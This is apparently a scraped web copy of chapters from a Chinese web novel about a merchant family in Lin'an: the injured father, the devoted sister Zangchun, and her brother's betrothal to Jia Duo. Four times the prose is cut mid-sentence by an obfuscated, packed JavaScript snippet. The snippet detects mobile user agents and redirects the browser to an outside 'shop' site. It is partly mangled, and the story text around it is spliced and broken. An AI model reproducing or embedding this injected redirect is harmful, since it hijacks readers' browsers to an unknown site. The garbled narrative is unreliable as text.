文芝闻言才明白是姨娘在诈自己,暗恼自己沉不住气,她本打算等时机成熟再禀明,谁知姨娘竟…这么聪明。 杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708972|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨娘示意风林噤声,上前一步将房门关紧,隔绝了外间。 “姨娘……”文芝脸颊飞红,想到张诗隐今日挥毫泼墨的俊逸身影,心头又是一阵悸动,那句让她一见倾心的诗句仿佛还在耳畔: 酒酣迎薄暮,佳人鬓上金。 虽只是代别人作的情诗,可写得真美。 杜姨娘看着女儿这副娇怯模样,“你有心上人,娘不拦你,可他姓甚名谁?家世如何?几口人?与咱们家可算门当户对?这些才是顶顶紧要的。” “他叫张诗隐,年纪跟大哥相仿,家中……好像只有一位寡嫂,对了姨娘,他是今科进士。”文芝不知道的事情,就含混带过去。 “进士?”杜姨娘和风林俱是一愣,这身份倒是极好,风林也想起此人,似乎常在书院,还与柳先生说过话,似是相识的。 杜姨娘心中却敲起了鼓,一个进士,即便家境贫寒,能瞧得上商户出身的文芝吗? “这事娘心里有数了。”杜姨娘神色凝重,“不过八字还没一撇,你万不可再私自出去与他相会,私会外男,若传出去名声就毁了,如今你爹不在家,没人能替你兜着,若让大夫人抓了把柄,我也救不了你。” 夜色笼着沉寂的戚宅,大多数院落早已熄了灯,唯有巡夜家丁的灯笼偶尔在远处游移。 门房处特意为归来之人留了一盏微弱的灯火,藏春与戚风堂一前一后踏入寂静的宅院,连呼吸都放得极轻,脚步也缓,唯恐惊扰了沉睡的众人, 他们一路行至东跨院,厢房廊下却见一个小小的瘦弱身影蜷缩,肩膀微微耸动,好像是…幺儿? 藏春与戚风堂对视一眼,示意身后的下人先将那盏飞鱼灯拿回去。 藏春轻步上前,蹲下身,戚风堂也紧随其后,默默立在藏春身后。他与幺儿年纪相差甚远,自她出生,他便渐渐接过父亲肩上的重担,终日埋首于铺子与工房之间,与这个小妹妹相处时日寥寥,更少有机会亲近交谈,此刻,他只是安静地听着藏春温声探问。 幺儿仰起满是泪痕的小脸,泪珠在月光下尤显可怜,见到温柔的二姐姐像是见到了浮木,手揽上她的脖颈,声音凄楚,像是作最后的道别,“二姐姐,我快要死了。” 戚风堂被她的话吓到,赶紧伏下身子,问她哪里不舒服,要不要叫大夫,娘知道吗? “二姐姐,我裤子上有很多…血,我是不是要死了,我不敢跟娘亲说,我怕她骂我,可是我真的已经有好好吃饭了。”她小声抽噎,搭在藏春小臂上的手有些发颤。 藏春瞬间了然,凝重的神色转成了一张笑脸,温声说:“不怕的幺儿,这不是什么病,而是…我们幺儿要长成大姑娘了。” 一旁的戚风堂闻言,先是一怔,随即恍然,一抹尴尬之色迅速掠过脸庞,他站起身,方才的急切关心顿时变得有些手足无措,站在那里,走也不是留也不是。 还是藏春察觉了他的窘迫,体贴地解围:“哥哥先回吧,幺儿交给我便好。” 说罢也不等戚风堂作出反应,便领着幺儿回房,走时与他擦肩,藏春的声音轻柔而耐心:“这几日不能贪凉饮冰,也别跑跳得太厉害……” 两人的身影渐渐消失在廊檐的转角。 戚风堂一直站在原地,目送着她们,此时看着藏春格外纤薄的身影,心蓦地有些痛。 文芝有姨娘细心照料,幺儿尚有姐姐温声劝慰,可藏春呢? 翠姨虽好,却是个大大咧咧的性子,怕也难留意到这等女儿家的私密事,她那时候……是不是也如幺儿这样害怕,是不是也曾胡思乱想到彻夜难眠。 11. 赖在翠园 戚焕早早来信,定下了归期,宋明音喜上眉梢,指挥着仆役将园中杂草拔得干干净净,连石阶缝隙都不放过。 可左等右盼,归期已过,最终却等来了戚焕在归途中坠崖重伤的消息。 这噩耗打得全家人措手不及,还未来得及感伤,满身血污的戚焕已被抬进了家门。 从汴京请来的名医诊治了半日,沉重地摇头:“老爷的腿骨碎了,接不上了。” 在汴京苦熬五个月,皇商竞标落空已是打击,又遭此飞来横祸,曾经家中顶梁柱成了缠绵病榻,事事需人的废人,这让宋明音和杜姨娘难以接受,连句像样的宽慰话都说不出来。 戚风堂迫切地想要知道父亲在汴京遭遇了什么,可见他枯槁如死灰的样子,所有的话都堵在了喉咙口。 戚焕轰然倒下,家中所有生意瞬间全压在了戚风堂肩上,他不得不立刻接手戚焕掌管的几处外地生意,马不停蹄地奔波,既要稳住人心,理清账目,更要严防掌柜伙计们趁家主病重而懈怠生乱。 宋明音本就为幺儿那副风吹就倒的身子骨日夜悬心,如今丈夫又瘫痪在床,更是心力交瘁,偏生幺儿初潮后身子更虚高热不退,她只得日夜守在幺儿病榻前煎汤熬药,根本顾不上戚焕那边。 杜姨娘也难分身日夜守在病榻前,若全托付给粗使的下人,她又怕他们伺候不尽心,委屈了老爷。 整个家里,就数藏春最为心细稳妥,她主动和杜姨娘轮替,亲自在戚焕床前侍奉汤药。 她端着刚从药吊子里倒出的滚热汤药,小心地吹了吹,“爹爹,药温刚好,郎中说这药对筋骨恢复有益。” “骨头都碎了,喝这苦汁水还有何用?”戚焕目光呆滞地盯着帐顶繁复的花纹,对藏春的劝慰置若罔闻, 这样的对话,几乎日日上演,藏春耐着性子,又舀起一勺药递近些:“爹爹,多少用一口。” 病痛缠身的人本就心浮气躁,戚焕不耐地挥手,药碗被狠狠打翻在地。滚烫的褐色药汁泼溅了藏春一身,洇湿了锦缎被面,碎瓷也飞溅而起,在她白皙的下颌划上一道血痕。 藏春立刻蹲下身去拾地上的碎片,“爹爹没事,是我没端稳,我这就去重新煎来。”她声音温和沉静,听不出半分恼意。 这般日毫无怨言的照料,使得戚焕的心头似堵了一块又冷又硬的馒头,不不去下不来,噎得难受。 “爹爹,您千万别灰心,您是大夫人和杜姨娘的夫君,是哥哥、大姐姐、风林,还有…我最敬爱的父亲,我们都盼着您能好好的。” 戚焕终究忍不住滚下泪来,伸手抓住了藏春近在咫尺的衣袖,“藏春,爹对不住你,也对不住你娘亲。”当年他默许大夫人将她送走,未料她如今竟能不计前嫌守在塌前。 面对这突如其来的歉意,藏春只是垂下眼帘,轻轻回握了一下他的手,并没有什么想说的话。 她仔细收拾好碎瓷片,轻手轻脚带上门出来,正撞上赶来的戚风堂,他连日奔波于几处铺子间捋顺事务,已是疲惫不堪。他揉了揉酸胀的眉心,仍不忘看望戚焕。 见藏春掩门的动作,戚风堂也放轻了脚步,目光扫过她下颌那道新鲜的血痕,再瞥见她手中托盘里的碎瓷,心中立刻明了。 “日后还是我去陪爹吧。” “哥哥每日在外奔波,已经很辛苦了,”藏春摇摇头,脸上浮起安抚的浅笑,“爹爹这里有我和姨娘轮换照应,尽够了。” 她察觉戚风堂紧锁的眉头和落在她伤处的目光,又轻声强调,“这伤口不疼的,哥哥放心吧,我能应付来。” 戚风堂望向那扇紧闭的门扉,压低声音:“爹他……还是不肯提汴京的事?” 藏春无奈地再次摇头,戚焕避而不谈,她亦无法深究。 . 转眼间,庭院灼灼都桃花换上了郁郁葱葱的芭蕉叶,初夏的风带着丝暖意。 戚焕的腿伤将养了数月,已能由仆人扶着坐上木轮椅行动。 他不再过问生意琐事,却常出来与家人一同用膳,会问问文芝的功课,风林的字练得如何,也会关心藏春铺子里的生意,人倒比从前多了几分慈和。 尤其对藏春,那份关切更不加掩饰,连宋明音都看在眼里,想到这几个月全赖藏春开解照料,她也释怀了,这何尝不是替她分担了许多。 被家事耽搁了许久的孙夫人定制的玉梳,终于得以完工,幸而孙夫人是铺子里的老主顾,并未苛责。 藏春拿着用锦缎包裹好的玉梳,走进了翠园的月洞门。 玉梳温润光洁,齿儿打磨得圆滑细腻,梳背上嵌着两颗明艳的红宝和黄玉,背面还琢出了细密的如意暗纹。 戚风堂正用细笔给一颗珍珠胚涂着鱼胶,见状放下手中的活计,接过玉梳细看。 他指尖在梳背几处纹样上轻轻划过,又拿起刻刀,借着天光,极其细微地修了两刀,那如意线条瞬间更显灵逸。其实原本已是上品,但经他的手略作点化,总能更添神韵。 藏春听着他讲其中门道,实则这梳子明日就要送去孙府了,她不过是借着讨教的由头,想来这儿待会。 戚风堂说完,抬眼便瞧见她有些神思不属,显然没把他的话听进心里去。藏春懒洋洋地趴在那张满是刻痕的老木桌上,像只午后贪睡的狸奴。 她赖着不走,身体一点点挪蹭过去,最后轻轻把下巴抵在戚风堂结实的小臂上,“哥哥,你近来忙得人影都见不着,都不来瞧瞧我那铺子里的新样子了。” 手臂上一沉,戚风堂侧过头,便看到一颗毛茸茸的脑袋靠了上来。 戚焕竞标皇商失利,虽全家讳莫如深,但他心里清楚,他的手艺早已不足与汴京顶尖匠人争锋。 他想以戚家家主身份,在下一次竞标中拔得头筹,这些时日,他几乎日夜扑在工坊里钻研古籍,试验各种珍珠幻彩的法子。 此刻才发觉,他忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708973|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略了藏春的辛苦,铺子要打理,父亲要照料,她的担子也不轻。 “等咱家的珠宝首饰戴上御贡的名头就好了,”他放缓了声音,“那时声名自然会传遍南北,好东西不愁卖,你也不必这般辛苦。” 目光掠过她颈间,仍是那串年幼时他送与她的血珀坠子,腕上晃着的,也还是他十岁磨出来的那串琉璃珠,后来藏春长大了,手钏尺寸不合适,她还添了两颗,还有发间那支略显稚拙的小橘钗,也是他少时的习作。 如今他的手艺早已精进,不由疑惑:“新打的钗环珠翠也不少,怎么还总戴着这些旧时的玩意儿?” 藏春依旧枕着他的臂,晃着腕间的泛着光斑的琉璃珠,轻声道:“是啊,哥哥不知道吗,我一直就是个恋旧的人啊。” 她这般依靠着说话,戚风堂也由着她,他忽然想起文芝近日常常晚归,便随口问道:“听下人说,文芝近来常出门?” 藏春心思不在这上头,也不想谈论别人的事,糊弄着说:“许是罢,兴许…是去会哪个读书的郎君了。”话一出口才觉不妥,忙将话头推到风林身上,“是风林前几日说漏了嘴,不然我哪晓得这些?” 说到文芝与张诗隐的事,杜姨娘本想戚焕一回来就挑明,无奈家中连番变故耽搁至今。 如今家中稍稍安稳,为女儿终身计的心又活了起来,晚膳时,一家人围坐桌前,杜姨娘便借着分茶的间隙,含蓄地提起了话头。 戚焕沉吟片刻:“若彼此都有意,家世清贫些倒也未必是坏事,倘使他真能蟾宫折桂,踏入仕途,那也是文芝的造化。” 文芝嘴角抑制不住地上扬,但碍于姨娘事先再三叮嘱不可插嘴,只得拼命忍住,低头用力扒着碗里的饭粒。 “这话不错,若真能结下成这门亲,”宋明音顿了顿,心思已转到更长远,“将来对大郎的生意多少是个助益,再者等幺儿大了议亲时,旁人说起来,家里有位正经的官家姐夫,面上也有光。” “哥哥在外行走,识得的人多,”藏春掰了小块松软的炊饼,顺着大家的话风自然接道,“不如让人细细打听打听那位张公子的品行为人?若真是个端方上进的君子,也得等他主动请了媒人登门提亲,才合礼数规矩的。” “二丫头说的不错,正是这个道理,咱们家虽非显贵,却也是清清白白的商户,哪有女方上赶着的道理,必得是他三媒六聘求上门来,大郎,这事就交给你去办。”宋明音拿出当家主母身份安排。 戚风堂点头应下:“儿子明白。” 杜姨娘和文芝见事情如此顺遂,不由得看向藏春多了点感激。 只有坐在一旁的风林,暗自瘪嘴,觉得这事悬,他后来撞见过那张诗隐和大姐姐几回。那人待大姐姐冷淡得很,简直像对着不相干的路人,哪有大姐姐自己说的那般情意绵绵,两心相许? 可眼下这气氛,他要是贸然戳破,肯定免不了一顿排揎,还不如趁早闭上嘴。 12. 贾朵回来 藏春将两盒玉梳送到了孙员外府上。 孙家是临安城里有名的茶商,孙夫人尤爱设宴雅集,走进庭院,果见几位穿戴雅致的夫人正围坐在紫藤花架下品茗说笑。 藏春上前见礼,取出锦盒中的玉梳。 温润的和田白玉,一看便是上乘之作,孙夫人喜笑颜开,当即拿起梳子分赠给在座的姐妹,得了这等精巧物件,夫人们个个眉开眼笑,赞不绝口。 有丫鬟奉上一盏新沏的日铸雪芽茶,盛在细腻的瓷盏中。藏春这才想起柜子里还放着戚焕买来的雪芽,她嫌弃味道寡淡,都没拿出来喝过。 藏春端起时先轻嗅其香气,才小口啜饮,“孙夫人的茶真是好,”藏春笑得温婉,“汤色清亮,滋味回甘,怕是宫里的娘娘尝了也要称赞的。” 众人喜爱藏春温吞如棉花般的软性子,说话行事总顺着人,孙夫人拉着她的手,邀她一同坐下叙话。夫人们也知晓她是戚宝斋的二小姐,见她谈吐有礼,容貌出挑,都乐意与她攀谈几句。 尤其是一位穿着藤萝紫縠衫的夫人格外热络:“二小姐,你家兄长小戚公子,真真是风华绝代的人物,都说他不仅相貌俊逸,那双手更是比姑娘家的还巧,不知他可曾定了亲事,我家有个外甥女,生得跟水葱儿似的,性子也极好。” 藏春浅浅一笑,拈起碟中一枚盐炒南瓜子,慢条斯理地嗑着:“多谢夫人美意,只是家兄如今忙于铺中生意,实在分身乏术,令甥女这般品貌,岂能许给一个常年不着家的人。”她语气温软,摇摇头又说了一遍,“那是绝计不行的。” 众人听她如此说,只觉戚风堂眼界甚高,连妹妹都帮着推拒,便又将话绕回藏春身上。 藏春面前已嗑出了一小撮儿瓜子壳,柔声道:“女儿家的婚姻大事,自是听从父母之命,我一个闺中女子,不敢妄言的。” 她又饮了几口茶,便得体地起身告辞。 回到戚宅,刚进正院,便见兰翠弯着腰在院角的橘树下,她从八角井里打了水,用一只包了铜边的木桶,细细浇灌着树根周围。 当年戚风堂送来这棵橘树时,尚不及藏春肩头,如今已是亭亭如盖,远高房檐了,藏春嘴角噙笑,走过去轻轻靠在兰翠背上,“翠姨,你真好。” “不过是浇个树,就成好人了?”兰翠拍了拍手上的泥尘,嗔道,“平日帮你浆洗衣裳,打理床铺,看顾铺子时,可不见你这般嘴甜。”她挥挥手,“站远些,仔细弄脏了你的新裙子。” 藏春却不挪步,绕着兰翠打转,半是玩笑道:“翠姨,这个家里,待我最好的便是你和哥哥了,你可千万不能离开我,尤其是…不能跟柳先生走了呀。” 这话说得兰翠面上有些不自在,“小小年纪,倒学会打趣你翠姨了,大小姐都快定亲了,你还像个长不大的孩子似的。” “翠姨想多了,哥哥做事细致,既是应下了大姐姐的事,定会把那张进士的品行、家世、师承、过往都查得清楚明白,还不知要多久呢。” 兰翠突然想起什么,忙从怀中掏出一封信:“对了,有你的信,是贾家小姐从汴京寄来的。” 贾朵是她幼时结下的玩伴,即便后来贾家迁往汴京,两人也常有书信往来,互诉近况与南北风物,她拆开信笺浏览,贾朵在信中提及不日将随家人迁回临安旧居,盼着与她重聚。 藏春面上扬起笑意,她一抬头,看见廊下那个携栀子的清癯身影,藏春促狭地挑挑眉,将这方寸天地留给他们二人。 刚踏入翠园,便听到里面传来人说话的声音。 “我爹当着满船坞师傅的面,把我辛辛苦苦造的金丝楠木舵给劈了,还指着鼻子骂我废物点心,你说,天底下有这样的老子吗?他把我当儿子吗?我看他压根没把我当人!”何郝连气得在屋子里直踱步。 戚风堂正用小锉刀修整金片边缘,闻言给他倒了杯湃在冰鉴里的薄荷凉茶消消火气,附耳与他不知说了句什么,何郝连脸色一变,支起来身子,“靠,你不是跟我开玩笑吧?” 藏春恰在此时走了进来,“郝连哥哥也在呀?”她笑盈盈地招呼。 “藏春妹妹来了?”何郝连立刻换上一副笑脸,“几日不见,妹妹愈发光彩照人了。” “郝连哥哥也愈发英姿勃发了。”藏春温声回应。 两人这一套“哥哥妹妹”的寒暄,已是多年习惯。 戚风堂在一旁听得牙酸,放下锉刀:“行了。”何郝连冲他翻了个白眼:“我跟藏春妹妹说句话怎么了?难得有人正经叫我一声哥哥。” 他转头又问藏春:“对了妹妹,我近来几次登门,怎的总不见文芝,她近来很忙?” “不知道。”藏春与戚风堂异口同声。 何郝连是出了名的大嘴巴,若让他知晓文芝与张进士之事,怕是不出半日,整个临安城该传遍了。 说笑了一阵,藏春才想起正事:“对了,你们还记得贾朵吗,她家要搬回临安了。” “贾朵?就是你们家开私塾时和我一块来的那个,我记得那丫头,白白净净的,看着挺规矩本分。”何郝连抢着说。 戚风堂手中锉刀再次被放下,沉吟道:“自然记得,听说贾家在汴京经营得法,与占城国也搭上了线,收那的茧缫丝,所制的孔雀金锦可是夺了皇商的名头。”他对商道行情向来敏锐。 “哥哥,你说我该送她什么贺礼好呀?”藏春问道。 戚风堂略一思忖,努力在脑海中勾画贾朵的模样:“你铺子里不是收着那枚烟霞冻玉雕的耳坠子,紫色雅致,样式大方不挑人,正合她。” “那既然知道了,我也回去琢磨份贺礼,好歹做过一日同窗嘛。”说罢何郝连便告辞离去。 待他脚步声渐远,藏春立刻凑到戚风堂身边,压低声音:“哥哥,你可千万不能跟郝连哥哥去逛什么花楼瓦舍呀,那样可不好的。” 戚风堂轻掸了下她额头,笑她能操心。 刚走出翠园外间,何郝连抬眼看见檐下高悬的匾额,上书四个苍劲大字“智圆行方”。 他对着那匾额“呸”了一声,小声嘀咕:“‘还智圆行方’? ‘方’是装老实骗鬼,‘圆’是算计着赚人,戚风堂这家伙,人前装菩萨,人后做阎罗,就是个彻头彻尾的奸商。”他越想越气,临走还踹了一脚门边的青石墩子。 信到不过几日,隔壁贾宅便响起来噼啪作响的百子鞭,门前石板地上铺满了厚厚的彩色碎屑,喜庆热闹。 既是近邻迁回,日后少不了走动,宋明音携藏春带上贺礼,登门道贺。 贾夫人热情地将二人迎入花厅,丫鬟奉上香茗与精巧的果子,宋明音与贾夫人絮叨着两府旧事,说起孩子们幼时在私塾念书的光景,笑语晏晏。 何郝连也在席间,提及当年那位严厉的柳先生,如今境况似不佳,贾朵听了便接话道:“正是柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708974|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生留下的阴影太深,我后来都不敢再去上女学了。” 藏春取出带来的锦盒,亲手为她戴上紫色耳珰,两人自然地谈笑。 贾夫人见状,便对藏春说:“这丫头性子腼腆,往后还劳烦藏春你多带她走动走动,见见世面才好。” 叙话良久,戚风堂却迟迟未至,宋明音不免着急,正欲遣小厮去催促,便见一道颀长的身影姗姗来迟。 戚风堂本就生得丰神俊朗,今日特意穿了一身杭绸裁制的牙白锦袍,衣领袖口处用绀青丝线绣着清雅的竹枝纹,更衬得他身姿挺拔如修竹,步履间气度沉稳。 他向贾老爷贾夫人行揖礼,送上一只雕工精湛的白玉托盘作为贺礼。 藏春望着他格外清朗的衣裳,心头莫名一丝不安,她下意识地侧眸看向身旁的贾朵,只见她的目光在戚风堂挺拔的背影上打转。 戚风堂与贾老爷寒暄完毕,转身看向贾朵,唇边噙着温和的笑意:“贾朵妹妹,许久不见。”他的声音清澈悦耳,带着恰到好处的熟稔。 “风堂哥哥。”贾朵连忙福身回应,如幼时那般唤他。 藏春攥着帕子,面上笑意盈盈,对着戚风堂轻声道:“哥哥还说我整日里与郝连哥哥‘哥哥妹妹’地论来论去,如今见了朵姐姐,不也一样叫得这般亲近嘛?” 贾朵闻言,羞得只觉耳根都滚烫起来,戚风堂少时便是私塾里最端正守礼的那个,十年光阴过去,眼前这人竟比记忆中那模糊的影子还要……好上一些。 打量的心绪尚未平复,贾府的乔迁之喜便在喧天的锣鼓丝竹声中铺陈开来。 为新居宴客,贾府特意请了临安城里有名的庆和班在庭院中搭台唱戏,戚家被安排在离戏台最近的竹编凉棚下,席间摆着时令瓜果和酥酪点心。 戚风堂与贾老爷坐着闲谈,宋明音与贾夫人在一处。 藏春就坐在贾朵身旁的官帽椅上,看她手中翻飞的金红丝线,正编着一个寓意吉祥的方胜纹络子。 “朵姐姐这手可真巧,这方胜纹络子打得好,我也想学一个,回头给我哥哥的玉佩配上,定是好看,姐姐教教我罢?” 贾朵抿唇一笑:“这倒不难,先取一尺上好的五彩丝线,对折后挂在这小木棍上固定了,然后左右挑压,编出菱形……”她捻着丝线,正要细细分说。 一声清脆的锣响,台上已拉开了帷幕,伶人粉墨登场。 只见一俊俏书生,一位端庄小姐,还有一个灵动俏皮的小丫鬟,三人走位亮相,唱的正是时下流行的杂剧。 那书生扮相的张生对着红娘,眼神热切,唱腔带着几分促狭:“若共你多情小姐同鸾帐,怎舍得教你叠被铺床?” 这唱词直白大胆,引得席间一些宾客会心一笑,津津有味地品味着这风月情浓的戏文。 藏春却敏锐地察觉到身旁的贾朵身子一僵,手指绞紧了络子丝线,连她身后侍立的丫鬟梅晚也深深埋着头,半点不则声。 藏春正觉讶异,便见贾老爷面色一沉,将手中的青玉茶盏一搁,低声质问管家:“这是谁点的《西厢》,赶紧叫停换一出。” 台上班主得了示意,伶人们匆匆退下,不多时换了一出更为庄重吉庆,老少咸宜的《麻姑献寿》。 藏春拈起一把瓜子放入手心,悠悠地磕着,打发这看了无数遍的无聊戏文。 她见贾朵神色稍缓,便笑着约她明日来家教她打络子。 13. 定亲 自那日乔迁宴后,贾朵便时常登门戚家,与藏春一处说话,或是教她打精巧的络子。 这般走动频繁了些,宋明音看在眼里,夜里与戚焕枕畔私语时提及此事。 “那孩子瞧着倒是规矩的,与我们家也是门当户对。”戚焕盘算着两家联姻的益处,颇为意动。 得了丈夫首肯,宋明音便寻了个机会,私下问了戚风堂的意思。 “我与你爹瞧着,贾家那位姑娘,人品模样都是好的,你若点头,我们便请媒人正式去贾府下聘,择定良辰吉日,为你定下这门亲事,你看如何?” 戚风堂的手指轻敲着膝盖,贾家与占城国那条稳固的丝绸商路,正是他梦寐以求的资源,若想自行打通,少不得耗费无数心血与银钱,而娶了贾朵,这一切便顺水推舟。 况且贾朵性情温顺,与藏春也相处融洽,她若进门为嫂,想来藏春也是欢喜的。思及此他颔首应允:“儿子听凭爹娘做主。” 隔日,藏春拿着新打好的方胜纹络子,来找戚风堂,“哥哥,我跟朵姐姐学了许久,总算打得能入眼了,你若不嫌弃……”她将那条用五彩丝线精心编织,寓同心吉祥的络子递过去。 他执手接,当即将其系在了腰间的玉佩穗子上:“很好看,多谢二妹妹费心。” 藏春见他喜欢,葡萄般溜圆的眼睛弯了弯,话也多了起来:“哥哥喜欢就好,我往后还可以学着给你做衣裳,鞋靴。”再说下去便是贴身的里衣了,她脸颊微热,及时收住了话头。 戚风堂正想告知她定亲之事,此刻见她在此,便顺势说了出来:“正好你来了,昨夜爹娘与我说定,已选定后日吉时,正式去贾府行纳采问名之礼,虽不及大婚繁琐,却也需备齐三书六礼,以我们两家的交情,贾府应无拒绝之理。” 他语气平淡,仿佛在说一件寻常公事,心中已在默算聘礼的单子:赤金嵌宝的头面、上好的织锦缎匹、成双的金锭玉器、还有象征喜庆的鹿皮与雁礼…… 他抬眼,却见藏春脸上的笑意凝固,目光直在他腰间那枚新挂的络子上不曾挪开。 “二妹妹?”戚风堂又唤了一声。 藏春恍若初醒,抬起头来,脸上迅速扯出一个笑容:“是么?那……那我先恭喜哥哥与朵姐姐了。” “嗯。”戚风堂只当她是乍闻消息有些意外,吩咐门外的四敞:“送二小姐回去。” 藏春回到自己房中,并未唤人点灯,屋内一片漆黑,她缓缓走到桌案边坐下。 晨起送来的栀子已枯萎蔫软,徒留一丝若有似无的香气。 藏春自五岁起便隐隐懂得,哥哥终将是别人的。 她伏在冰凉的案上,脸颊贴着粗糙的木纹,案头还放着那个竹制的针线笸箩,里面是她近日学着为戚风堂裁衣准备的鹄白色锦缎。 . 转眼便是两日后,戚家带着浩浩荡荡的聘礼队伍,郑重登临贾府。 聘礼极尽体面周全,除了厚重礼金、成对的赤金镯子、上等的绸缎锦帛、精致的龙凤喜饼、以及寓意信守不渝的活雁一对,大红销金的礼单足有三尺长。 贾老爷满面春风,欣然应允。 消息传到内院绣楼,贾朵心中亦是悸动难平,梅晚一边为她整理略显凌乱的鬓角,一边喜滋滋地道:“小姐,可见是老天开眼,奴婢还记得那日听那《西厢》,惊得汗透衣衫,如今好了,小姐得配戚家公子这般端方君子,真是天赐的好姻缘,往后啊,小姐定要和姑爷和和美美,把过往那些都丢开手才好。” 贾朵羞涩地点点头,这门亲事得来意外又顺遂,其中少不了藏春时常邀她走动的情分。 至于戚风堂,她自然也是满意的。 两家交换了写有生辰八字的庚帖,便郑重定下了迎娶的良辰吉日,就在三个月后的重阳佳节,自此,贾朵便是戚风堂名正言顺的未婚妻了。 府中上下俱是喜庆,文芝和风林逮着机会便围着戚风堂打趣,追问这位准新郎官是何心情,戚风堂只笑而不语。 宋明音更是喜气盈腮,指挥着杜姨娘和一众仆妇开始洒扫庭除。 藏春也每日里笑语嫣然,帮着门房查看新挂的双喜壁画是否端正。幺儿不知何时悄悄走到她身边,伸出小手牵住她的手指,声音带着关切:“二姐姐,你不开心吗?” 藏春浑身一僵,随即绽开更灿烂的笑容,蹲下身捏捏她的小脸蛋:“怎么会呢?二姐姐高兴着呢。”话虽如此,她还是拉着幺儿避开人群,走到一处无人的花草丛后,声音压得极低,“幺儿,告诉二姐姐,是哪里让你觉得二姐姐不开心了?”她努力维持着嘴角的弧度。 “不知道,”幺儿摇摇头,眼神清澈,“就是感觉。”见藏春否认,她也不再追问,自顾去喝药了。 身份已定,贾朵再登戚府便越发自在,宋明音和杜姨娘常拉着她说话,嘘寒问暖。风林更是一口一个嫂嫂的叫,每每都能惹得贾朵面红耳赤。 “朵姐姐还没过门呢,风林你再乱叫,仔细吓跑了未来嫂嫂。”藏春拦住风林,语气带笑,眼神却掠过贾朵羞涩的面庞。 一旁的文芝看着眼前的其乐融融,再想到自己的婚事尚无着落,心中不免也生出几分期盼。 众人见贾朵被风林闹得有些坐立难安,便笑着让藏春带她去清静的东跨院里走走。 贾朵与藏春说着话,脸颊上仍残留着未褪尽的红晕,自定亲礼成,她还未有机会与戚风堂单独相见,她轻轻拉住藏春,面上带着几分羞怯:“你能不能带我悄悄瞧瞧?” 看着她面若粉桃,藏春故意打趣:“朵姐姐如今可是哥哥名正言顺的未婚妻子,大大方方地去看便是,何须这般偷偷摸摸?” 贾朵更是连连摆手,“不行不行,被人瞧见多难为情。” 藏春拗不过,只得依了她,领着她悄悄来到翠园书房窗外的一丛茂密芭蕉后。 透过半开的支摘窗,只见戚风堂正侧身对着她们,面前的小炭炉上温着一小碟胶液,修长的手不时探去,试探着鱼胶的温度。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708975|189231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他反复调试着炉火,时而添减炭块,时而搅动胶液,直至胶色透亮才罢了手。 他似乎察觉到窗外一丝不寻常的细微响动,侧首望来,贾朵躲避不及,目光与他撞个正着。 藏春见状,笑着招呼:“哥哥。” 戚风堂推门而出,目光扫过藏春,温声问:“既来了,怎么不进去坐坐?” “哥哥这不是明知故问么,朵姐姐脸皮薄着呢。”藏春代贾朵答道。 戚风堂这才看向贾朵,语气温和中带着安抚:“无妨,往后日子还长,有的是见面的机会。” 三人站在廊下,一时有些静默。 藏春想起袖中那份孙夫人雅集的请柬,便出声提议,想化解这份尴尬:“朵姐姐,孙夫人娘家是汴京人士,你也在汴京长住过,说不定还曾相识呢,过两日她府上有雅集,我带你一同去,你们定能聊得投机。” “正是,你们结伴去散散心也好,若在集上或路上瞧见什么喜欢的玩意儿,尽管买下,记我账上便是。”戚风堂也顺着妹妹的话说。 “孙夫人是汴京人士?”贾朵自言自语了一句,急忙摆手,声音带着几分急促:“不必了,多谢风堂哥哥和藏春妹妹好意,我突然想起家中还有些要紧事,母亲正等着我回去处置,实在不便赴约,对不住,我先告辞了。” 话音未落,便匆匆福了一礼。 藏春望着贾朵的背影,微微蹙起了眉。贾朵心思单纯,情绪几乎都写在脸上。 她心中生疑,贾朵似乎在刻意回避与汴京有关的人和事,贾家在汴京生意做得风生水起,又为何突然举家迁回临安? 念头一起便再难按下,藏春当即转身,直接去了戚宝斋壹号铺。 近来戚风堂定亲,家中琐事甚多,她也是有几日没来了,铺子里客人不多,陈掌柜见她忙迎上前:“二小姐来了。” 